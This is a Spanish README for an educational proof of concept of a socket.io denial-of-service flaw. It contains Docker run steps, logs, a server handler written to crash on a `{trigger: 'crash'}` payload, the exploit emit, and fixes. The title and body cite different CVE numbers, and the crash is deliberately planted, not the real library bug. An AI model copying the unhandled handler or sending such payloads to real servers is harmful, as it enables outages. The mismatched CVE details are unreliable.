
Prueba de concepto de CVE-2024-47554
Este proyecto es una prueba de concepto que demuestra CVE-2024-38355, una vulnerabilidad de denegación de servicio en socket.io. El proyecto fue creado con fines educativos para mostrar el mecanismo de ataque y cómo proteger las aplicaciones.
Esta vulnerabilidad afecta a las versiones de socket.io:
Un paquete Socket.IO especialmente manipulado puede desencadenar una excepción no capturada en el servidor, provocando que el proceso de Node.js se bloquee. Esto resulta en un ataque de Denegación de Servicio (DoS).
Cómo funciona:
Factores clave:
error en el socketEl proyecto consta de dos contenedores Docker:
[email protected]. Tiene un manejador de eventos que puede lanzar una excepción no capturada al recibir datos maliciosos.O alternativamente:
Abre una terminal en el directorio raíz del proyecto y ejecuta:
docker-compose down
docker-compose build --no-cache
docker-compose up
Esto hará lo siguiente:
Terminal 1 - Inicia el servidor:
cd server
npm install
npm start
Terminal 2 - Ejecuta el exploit:
cd exploit
npm install
npm start
Registros del servidor:
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
throw new Error('Uncaught exception triggered by malicious packet');
Registros del exploit:
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...
[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}
[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).
[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error
Presiona Ctrl+C o ejecuta:
docker-compose down
server/index.js)socket.on('process_data', (data) => {
// VULNERABLE: No try-catch, no error handler on socket
if (data && data.trigger === 'crash') {
throw new Error('Uncaught exception'); // Crashes the process!
}
});
exploit/exploit.js)// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });
Para proteger tu aplicación de esta vulnerabilidad:
Actualiza socket.io a la versión 4.6.2 o superior (la corrección añade un manejador de errores noop por defecto).
Adjunta siempre manejadores de errores a los sockets:
socket.on('error', (err) => {
console.error('Socket error:', err);
// Handle gracefully, don't let it crash the server
});
Envuelve los manejadores de eventos en try-catch:
socket.on('process_data', (data) => {
try {
// Process data safely
} catch (err) {
console.error('Error processing data:', err);
socket.emit('error_response', { message: 'Invalid data' });
}
});
Añade un manejador global de excepciones no capturadas (como último recurso):
process.on('uncaughtException', (err) => {
console.error('Uncaught Exception:', err);
// Log and gracefully shutdown
});
Proyecto creado con fines educativos.